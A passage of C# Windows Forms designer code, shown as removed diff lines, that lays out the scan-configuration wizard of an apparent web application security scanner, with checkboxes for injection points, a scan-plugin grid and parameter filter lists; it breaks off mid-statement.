// - // ScanBranchStatsPanel - // - this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressLbl); - this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressBar); - this.ScanBranchStatsPanel.Location = new System.Drawing.Point(169, 293); - this.ScanBranchStatsPanel.Name = "ScanBranchStatsPanel"; - this.ScanBranchStatsPanel.Size = new System.Drawing.Size(449, 27); - this.ScanBranchStatsPanel.TabIndex = 97; - this.ScanBranchStatsPanel.Visible = false; - // - // ScanBranchProgressLbl - // - this.ScanBranchProgressLbl.AutoSize = true; - this.ScanBranchProgressLbl.Location = new System.Drawing.Point(3, 9); - this.ScanBranchProgressLbl.Name = "ScanBranchProgressLbl"; - this.ScanBranchProgressLbl.Size = new System.Drawing.Size(31, 13); - this.ScanBranchProgressLbl.TabIndex = 98; - this.ScanBranchProgressLbl.Text = "Stats"; - // - // ScanBranchProgressBar - // - this.ScanBranchProgressBar.Location = new System.Drawing.Point(265, 2); - this.ScanBranchProgressBar.Name = "ScanBranchProgressBar"; - this.ScanBranchProgressBar.Size = new System.Drawing.Size(181, 23); - this.ScanBranchProgressBar.TabIndex = 0; - // - // ScanBranchErrorTB - // - this.ScanBranchErrorTB.BackColor = System.Drawing.SystemColors.Control; - this.ScanBranchErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanBranchErrorTB.ForeColor = System.Drawing.Color.Red; - this.ScanBranchErrorTB.Location = new System.Drawing.Point(17, 206); - this.ScanBranchErrorTB.Multiline = true; - this.ScanBranchErrorTB.Name = "ScanBranchErrorTB"; - this.ScanBranchErrorTB.ReadOnly = true; - this.ScanBranchErrorTB.Size = new System.Drawing.Size(798, 46); - this.ScanBranchErrorTB.TabIndex = 98; - // - // ScanBranchPickProxyLogCB - // - this.ScanBranchPickProxyLogCB.AutoSize = true; - this.ScanBranchPickProxyLogCB.Checked = true; - this.ScanBranchPickProxyLogCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanBranchPickProxyLogCB.Location = new System.Drawing.Point(403, 110); - this.ScanBranchPickProxyLogCB.Name = "ScanBranchPickProxyLogCB"; - this.ScanBranchPickProxyLogCB.Size = new System.Drawing.Size(73, 17); - this.ScanBranchPickProxyLogCB.TabIndex = 101; - this.ScanBranchPickProxyLogCB.Text = "Proxy Log"; - this.ScanBranchPickProxyLogCB.UseVisualStyleBackColor = true; - this.ScanBranchPickProxyLogCB.CheckedChanged += new System.EventHandler(this.ScanBranchPickProxyLogCB_CheckedChanged); - // - // label8 - // - this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(16, 112); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(373, 13); - this.label8.TabIndex = 102; - this.label8.Text = "Which logs should be searched for Requests matching the above conditions?"; - // - // ScanBranchPickProbeLogCB - // - this.ScanBranchPickProbeLogCB.AutoSize = true; - this.ScanBranchPickProbeLogCB.Location = new System.Drawing.Point(482, 110); - this.ScanBranchPickProbeLogCB.Name = "ScanBranchPickProbeLogCB"; - this.ScanBranchPickProbeLogCB.Size = new System.Drawing.Size(75, 17); - this.ScanBranchPickProbeLogCB.TabIndex = 103; - this.ScanBranchPickProbeLogCB.Text = "Probe Log"; - this.ScanBranchPickProbeLogCB.UseVisualStyleBackColor = true; - this.ScanBranchPickProbeLogCB.CheckedChanged += new System.EventHandler(this.ScanBranchPickProbeLogCB_CheckedChanged); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.Zero); - this.BaseTabs.Controls.Add(this.One); - this.BaseTabs.Controls.Add(this.Two); - this.BaseTabs.Controls.Add(this.Three); - this.BaseTabs.Controls.Add(this.Four); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(834, 361); - this.BaseTabs.TabIndex = 104; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // Zero - // - this.Zero.Controls.Add(this.ScanTemplateNameLbl); - this.Zero.Controls.Add(this.ScanBranchPickProbeLogCB); - this.Zero.Controls.Add(this.label8); - this.Zero.Controls.Add(this.Step0StatusTB); - this.Zero.Controls.Add(this.ScanBranchPickProxyLogCB); - this.Zero.Controls.Add(this.label10); - this.Zero.Controls.Add(this.LoadTemplateLL); - this.Zero.Controls.Add(this.label11); - this.Zero.Controls.Add(this.CancelBtn); - this.Zero.Controls.Add(this.StepZeroNextBtn); - this.Zero.Controls.Add(this.ScanBranchUrlPatternTB); - this.Zero.Controls.Add(this.ScanBranchHostNameTB); - this.Zero.Controls.Add(this.label1); - this.Zero.Controls.Add(this.label2); - this.Zero.Location = new System.Drawing.Point(4, 25); - this.Zero.Margin = new System.Windows.Forms.Padding(0); - this.Zero.Name = "Zero"; - this.Zero.Size = new System.Drawing.Size(826, 332); - this.Zero.TabIndex = 0; - this.Zero.Text = " Start "; - this.Zero.UseVisualStyleBackColor = true; - // - // ScanTemplateNameLbl - // - this.ScanTemplateNameLbl.AutoSize = true; - this.ScanTemplateNameLbl.Location = new System.Drawing.Point(172, 200); - this.ScanTemplateNameLbl.Name = "ScanTemplateNameLbl"; - this.ScanTemplateNameLbl.Size = new System.Drawing.Size(220, 13); - this.ScanTemplateNameLbl.TabIndex = 137; - this.ScanTemplateNameLbl.Text = " "; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BackColor = System.Drawing.Color.White; - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step0StatusTB.Location = new System.Drawing.Point(127, 289); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(577, 35); - this.Step0StatusTB.TabIndex = 136; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // label10 - // - this.label10.AutoSize = true; - this.label10.Location = new System.Drawing.Point(8, 15); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(323, 13); - this.label10.TabIndex = 9; - this.label10.Text = "This wizard will help you pick requests from the log and scan them. "; - // - // LoadTemplateLL - // - this.LoadTemplateLL.AutoSize = true; - this.LoadTemplateLL.Location = new System.Drawing.Point(350, 173); - this.LoadTemplateLL.Name = "LoadTemplateLL"; - this.LoadTemplateLL.Size = new System.Drawing.Size(125, 13); - this.LoadTemplateLL.TabIndex = 8; - this.LoadTemplateLL.TabStop = true; - this.LoadTemplateLL.Text = "Load Scan Template File"; - this.LoadTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadTemplateLL_LinkClicked); - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Location = new System.Drawing.Point(8, 173); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(336, 13); - this.label11.TabIndex = 7; - this.label11.Text = "If you have saved a Scan Configuration template then you can use it: "; - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.CancelBtn.Location = new System.Drawing.Point(11, 300); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 6; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // StepZeroNextBtn - // - this.StepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepZeroNextBtn.Location = new System.Drawing.Point(713, 299); - this.StepZeroNextBtn.Name = "StepZeroNextBtn"; - this.StepZeroNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepZeroNextBtn.TabIndex = 5; - this.StepZeroNextBtn.Text = "Next Step ->"; - this.StepZeroNextBtn.UseVisualStyleBackColor = true; - this.StepZeroNextBtn.Click += new System.EventHandler(this.StepZeroNextBtn_Click); - // - // One - // - this.One.Controls.Add(this.Step1StatusTB); - this.One.Controls.Add(this.ScanAllPluginsCB); - this.One.Controls.Add(this.StepOnePreviousBtn); - this.One.Controls.Add(this.StepOneNextBtn); - this.One.Controls.Add(this.label23); - this.One.Controls.Add(this.InjectNamesCB); - this.One.Controls.Add(this.ScanPluginsGrid); - this.One.Controls.Add(this.label24); - this.One.Controls.Add(this.InjectHeadersCB); - this.One.Controls.Add(this.InjectCookieCB); - this.One.Controls.Add(this.InjectBodyCB); - this.One.Controls.Add(this.InjectQueryCB); - this.One.Controls.Add(this.InjectUrlPathPartsCB); - this.One.Location = new System.Drawing.Point(4, 25); - this.One.Name = "One"; - this.One.Size = new System.Drawing.Size(826, 332); - this.One.TabIndex = 2; - this.One.Text = " Scan Settings "; - this.One.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BackColor = System.Drawing.Color.White; - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step1StatusTB.Location = new System.Drawing.Point(124, 292); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(577, 32); - this.Step1StatusTB.TabIndex = 145; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // ScanAllPluginsCB - // - this.ScanAllPluginsCB.AutoSize = true; - this.ScanAllPluginsCB.Checked = true; - this.ScanAllPluginsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ScanAllPluginsCB.Location = new System.Drawing.Point(269, 127); - this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; - this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); - this.ScanAllPluginsCB.TabIndex = 144; - this.ScanAllPluginsCB.Text = "Enable all Checks"; - this.ScanAllPluginsCB.UseVisualStyleBackColor = true; - this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); - // - // StepOnePreviousBtn - // - this.StepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOnePreviousBtn.Location = new System.Drawing.Point(8, 301); - this.StepOnePreviousBtn.Name = "StepOnePreviousBtn"; - this.StepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepOnePreviousBtn.TabIndex = 143; - this.StepOnePreviousBtn.Text = "<-Previous Step"; - this.StepOnePreviousBtn.UseVisualStyleBackColor = true; - this.StepOnePreviousBtn.Click += new System.EventHandler(this.StepOnePreviousBtn_Click); - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(713, 301); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 142; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // label23 - // - this.label23.AutoSize = true; - this.label23.Location = new System.Drawing.Point(22, 128); - this.label23.Name = "label23"; - this.label23.Size = new System.Drawing.Size(218, 13); - this.label23.TabIndex = 95; - this.label23.Text = "Which vulnerabilities should be scanned for?"; - // - // InjectNamesCB - // - this.InjectNamesCB.AutoSize = true; - this.InjectNamesCB.Location = new System.Drawing.Point(316, 81); - this.InjectNamesCB.Name = "InjectNamesCB"; - this.InjectNamesCB.Size = new System.Drawing.Size(183, 17); - this.InjectNamesCB.TabIndex = 94; - this.InjectNamesCB.Text = "Parameter Names of Query, Body"; - this.InjectNamesCB.UseVisualStyleBackColor = true; - // - // ScanPluginsGrid - // - this.ScanPluginsGrid.AllowUserToAddRows = false; - this.ScanPluginsGrid.AllowUserToDeleteRows = false; - this.ScanPluginsGrid.AllowUserToResizeRows = false; - this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanPluginsGrid.ColumnHeadersVisible = false; - this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn1, - this.dataGridViewTextBoxColumn1}); - this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.ScanPluginsGrid.Location = new System.Drawing.Point(407, 128); - this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanPluginsGrid.Name = "ScanPluginsGrid"; - this.ScanPluginsGrid.ReadOnly = true; - this.ScanPluginsGrid.RowHeadersVisible = false; - this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 152); - this.ScanPluginsGrid.TabIndex = 93; - this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); - // - // dataGridViewCheckBoxColumn1 - // - this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn1.HeaderText = ""; - this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; - this.dataGridViewCheckBoxColumn1.ReadOnly = true; - this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn1.Width = 20; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.HeaderText = "SCAN PLUGINS"; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // label24 - // - this.label24.AutoSize = true; - this.label24.Location = new System.Drawing.Point(22, 26); - this.label24.Name = "label24"; - this.label24.Size = new System.Drawing.Size(252, 13); - this.label24.TabIndex = 24; - this.label24.Text = "Which sections of the Request should be scanned?"; - // - // InjectHeadersCB - // - this.InjectHeadersCB.AutoSize = true; - this.InjectHeadersCB.Location = new System.Drawing.Point(537, 26); - this.InjectHeadersCB.Name = "InjectHeadersCB"; - this.InjectHeadersCB.Size = new System.Drawing.Size(66, 17); - this.InjectHeadersCB.TabIndex = 23; - this.InjectHeadersCB.Text = "Headers"; - this.InjectHeadersCB.UseVisualStyleBackColor = true; - this.InjectHeadersCB.CheckedChanged += new System.EventHandler(this.InjectHeadersCB_CheckedChanged); - // - // InjectCookieCB - // - this.InjectCookieCB.AutoSize = true; - this.InjectCookieCB.Location = new System.Drawing.Point(460, 26); - this.InjectCookieCB.Name = "InjectCookieCB"; - this.InjectCookieCB.Size = new System.Drawing.Size(59, 17); - this.InjectCookieCB.TabIndex = 22; - this.InjectCookieCB.Text = "Cookie"; - this.InjectCookieCB.UseVisualStyleBackColor = true; - this.InjectCookieCB.CheckedChanged += new System.EventHandler(this.InjectCookieCB_CheckedChanged); - // - // InjectBodyCB - // - this.InjectBodyCB.AutoSize = true; - this.InjectBodyCB.Checked = true; - this.InjectBodyCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectBodyCB.Location = new System.Drawing.Point(393, 25); - this.InjectBodyCB.Name = "InjectBodyCB"; - this.InjectBodyCB.Size = new System.Drawing.Size(50, 17); - this.InjectBodyCB.TabIndex = 21; - this.InjectBodyCB.Text = "Body"; - this.InjectBodyCB.UseVisualStyleBackColor = true; - this.InjectBodyCB.CheckedChanged += new System.EventHandler(this.InjectBodyCB_CheckedChanged); - // - // InjectQueryCB - // - this.InjectQueryCB.AutoSize = true; - this.InjectQueryCB.Checked = true; - this.InjectQueryCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectQueryCB.Location = new System.Drawing.Point(316, 25); - this.InjectQueryCB.Name = "InjectQueryCB"; - this.InjectQueryCB.Size = new System.Drawing.Size(54, 17); - this.InjectQueryCB.TabIndex = 20; - this.InjectQueryCB.Text = "Query"; - this.InjectQueryCB.UseVisualStyleBackColor = true; - this.InjectQueryCB.CheckedChanged += new System.EventHandler(this.InjectQueryCB_CheckedChanged); - // - // InjectUrlPathPartsCB - // - this.InjectUrlPathPartsCB.AutoSize = true; - this.InjectUrlPathPartsCB.Checked = true; - this.InjectUrlPathPartsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.InjectUrlPathPartsCB.Location = new System.Drawing.Point(316, 53); - this.InjectUrlPathPartsCB.Name = "InjectUrlPathPartsCB"; - this.InjectUrlPathPartsCB.Size = new System.Drawing.Size(349, 17); - this.InjectUrlPathPartsCB.TabIndex = 19; - this.InjectUrlPathPartsCB.Text = "Url Path Parts (only when Query string is blank, to cover Url-rewriting)"; - this.InjectUrlPathPartsCB.UseVisualStyleBackColor = true; - // - // Two - // - this.Two.Controls.Add(this.Step2StatusTB); - this.Two.Controls.Add(this.label25); - this.Two.Controls.Add(this.label26); - this.Two.Controls.Add(this.StepTwoPreviousBtn); - this.Two.Controls.Add(this.StepTwoNextBtn); - this.Two.Controls.Add(this.groupBox6); - this.Two.Controls.Add(this.groupBox7); - this.Two.Controls.Add(this.groupBox8); - this.Two.Controls.Add(this.groupBox9); - this.Two.Location = new System.Drawing.Point(4, 25); - this.Two.Name = "Two"; - this.Two.Size = new System.Drawing.Size(826, 332); - this.Two.TabIndex = 5; - this.Two.Text = " Scan Filter "; - this.Two.UseVisualStyleBackColor = true; - // - // Step2StatusTB - // - this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2StatusTB.BackColor = System.Drawing.Color.White; - this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step2StatusTB.Location = new System.Drawing.Point(131, 302); - this.Step2StatusTB.Multiline = true; - this.Step2StatusTB.Name = "Step2StatusTB"; - this.Step2StatusTB.Size = new System.Drawing.Size(577, 22); - this.Step2StatusTB.TabIndex = 148; - this.Step2StatusTB.TabStop = false; - this.Step2StatusTB.Visible = false; - // - // label25 - // - this.label25.AutoSize = true; - this.label25.Location = new System.Drawing.Point(7, 30); - this.label25.Name = "label25"; - this.label25.Size = new System.Drawing.Size(561, 13); - this.label25.TabIndex = 147; - this.label25.Text = "Check the box at the beginning to enable the list. Use + and - options to toggle " + - "between white-list and black-list mode."; - // - // label26 - // - this.label26.AutoSize = true; - this.label26.Location = new System.Drawing.Point(7, 10); - this.label26.Name = "label26"; - this.label26.Size = new System.Drawing.Size(436, 13); - this.label26.TabIndex = 146; - this.label26.Text = "You can set a black-list or white-list to include or exclude request parameters f" + - "rom the scan."; - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 301); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 145; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StepTwoNextBtn - // - this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoNextBtn.Location = new System.Drawing.Point(714, 301); - this.StepTwoNextBtn.Name = "StepTwoNextBtn"; - this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoNextBtn.TabIndex = 144; - this.StepTwoNextBtn.Text = "Next Step ->"; - this.StepTwoNextBtn.UseVisualStyleBackColor = true; - this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); - // - // groupBox6 - // - this.groupBox6.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox6.Controls.Add(this.HeadersParametersFilterCB); - this.groupBox6.Controls.Add(this.HeadersParametersPlusTB); - this.groupBox6.Controls.Add(this.HeadersParametersMinusTB); - this.groupBox6.Controls.Add(this.HeadersParametersPlusRB); - this.groupBox6.Controls.Add(this.HeadersParametersMinusRB); - this.groupBox6.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox6.Location = new System.Drawing.Point(10, 240); - this.groupBox6.Margin = new System.Windows.Forms.Padding(0); - this.groupBox6.Name = "groupBox6"; - this.groupBox6.Size = new System.Drawing.Size(800, 52); - this.groupBox6.TabIndex = 95; - this.groupBox6.TabStop = false; - // - // HeadersParametersFilterCB - // - this.HeadersParametersFilterCB.AutoSize = true; - this.HeadersParametersFilterCB.Enabled = false; - this.HeadersParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.HeadersParametersFilterCB.Name = "HeadersParametersFilterCB"; - this.HeadersParametersFilterCB.Size = new System.Drawing.Size(203, 17); - this.HeadersParametersFilterCB.TabIndex = 59; - this.HeadersParametersFilterCB.Text = "Don\'t scan these Header Parameters:"; - this.HeadersParametersFilterCB.UseVisualStyleBackColor = true; - this.HeadersParametersFilterCB.CheckedChanged += new System.EventHandler(this.HeadersParametersFilterCB_CheckedChanged); - // - // HeadersParametersPlusTB - // - this.HeadersParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.HeadersParametersPlusTB.Enabled = false; - this.HeadersParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.HeadersParametersPlusTB.Name = "HeadersParametersPlusTB"; - this.HeadersParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.HeadersParametersPlusTB.TabIndex = 51; - // - // HeadersParametersMinusTB - // - this.HeadersParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.HeadersParametersMinusTB.Enabled = false; - this.HeadersParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.HeadersParametersMinusTB.Name = "HeadersParametersMinusTB"; - this.HeadersParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.HeadersParametersMinusTB.TabIndex = 52; - this.HeadersParametersMinusTB.Text = "Proxy-Connection, User-Agent, Accept, Referer, Accept-Encoding, Accept-Language, " + - "Accept-Charset, Content-Type, Content-Length, If-Modified-Since, Pragma"; - // - // HeadersParametersPlusRB - // - this.HeadersParametersPlusRB.AutoSize = true; - this.HeadersParametersPlusRB.Enabled = false; - this.HeadersParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersParametersPlusRB.Location = new System.Drawing.Point(215, 10); - this.HeadersParametersPlusRB.Name = "HeadersParametersPlusRB"; - this.HeadersParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.HeadersParametersPlusRB.TabIndex = 57; - this.HeadersParametersPlusRB.Text = "+"; - this.HeadersParametersPlusRB.UseVisualStyleBackColor = true; - this.HeadersParametersPlusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersPlusRB_CheckedChanged); - // - // HeadersParametersMinusRB - // - this.HeadersParametersMinusRB.AutoSize = true; - this.HeadersParametersMinusRB.Checked = true; - this.HeadersParametersMinusRB.Enabled = false; - this.HeadersParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersParametersMinusRB.Location = new System.Drawing.Point(215, 29); - this.HeadersParametersMinusRB.Name = "HeadersParametersMinusRB"; - this.HeadersParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.HeadersParametersMinusRB.TabIndex = 58; - this.HeadersParametersMinusRB.TabStop = true; - this.HeadersParametersMinusRB.Text = "-"; - this.HeadersParametersMinusRB.UseVisualStyleBackColor = true; - this.HeadersParametersMinusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersMinusRB_CheckedChanged); - // - // groupBox7 - // - this.groupBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox7.Controls.Add(this.QueryParametersFilterCB); - this.groupBox7.Controls.Add(this.QueryParametersPlusTB); - this.groupBox7.Controls.Add(this.QueryParametersMinusTB); - this.groupBox7.Controls.Add(this.QueryParametersPlusRB); - this.groupBox7.Controls.Add(this.QueryParametersMinusRB); - this.groupBox7.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox7.Location = new System.Drawing.Point(10, 64); - this.groupBox7.Margin = new System.Windows.Forms.Padding(0); - this.groupBox7.Name = "groupBox7"; - this.groupBox7.Size = new System.Drawing.Size(800, 52); - this.groupBox7.TabIndex = 92; - this.groupBox7.TabStop = false; - // - // QueryParametersFilterCB - // - this.QueryParametersFilterCB.AutoSize = true; - this.QueryParametersFilterCB.Enabled = false; - this.QueryParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.QueryParametersFilterCB.Name = "QueryParametersFilterCB"; - this.QueryParametersFilterCB.Size = new System.Drawing.Size(196, 17); - this.QueryParametersFilterCB.TabIndex = 59; - this.QueryParametersFilterCB.Text = "Don\'t scan these Query Parameters:"; - this.QueryParametersFilterCB.UseVisualStyleBackColor = true; - this.QueryParametersFilterCB.CheckedChanged += new System.EventHandler(this.QueryParametersFilterCB_CheckedChanged); - // - // QueryParametersPlusTB - // - this.QueryParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.QueryParametersPlusTB.Enabled = false; - this.QueryParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.QueryParametersPlusTB.Name = "QueryParametersPlusTB"; - this.QueryParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.QueryParametersPlusTB.TabIndex = 51; - // - // QueryParametersMinusTB - // - this.QueryParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.QueryParametersMinusTB.Enabled = false; - this.QueryParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.QueryParametersMinusTB.Name = "QueryParametersMinusTB"; - this.QueryParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.QueryParametersMinusTB.TabIndex = 52; - // - // QueryParametersPlusRB - // - this.QueryParametersPlusRB.AutoSize = true; - this.QueryParametersPlusRB.Enabled = false; - this.QueryParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.QueryParametersPlusRB.Location = new System.Drawing.Point(215, 9); - this.QueryParametersPlusRB.Name = "QueryParametersPlusRB"; - this.QueryParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.QueryParametersPlusRB.TabIndex = 57; - this.QueryParametersPlusRB.Text = "+"; - this.QueryParametersPlusRB.UseVisualStyleBackColor = true; - this.QueryParametersPlusRB.CheckedChanged += new System.EventHandler(this.QueryParametersPlusRB_CheckedChanged); - // - // QueryParametersMinusRB - // - this.QueryParametersMinusRB.AutoSize = true; - this.QueryParametersMinusRB.Checked = true; - this.QueryParametersMinusRB.Enabled = false; - this.QueryParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, 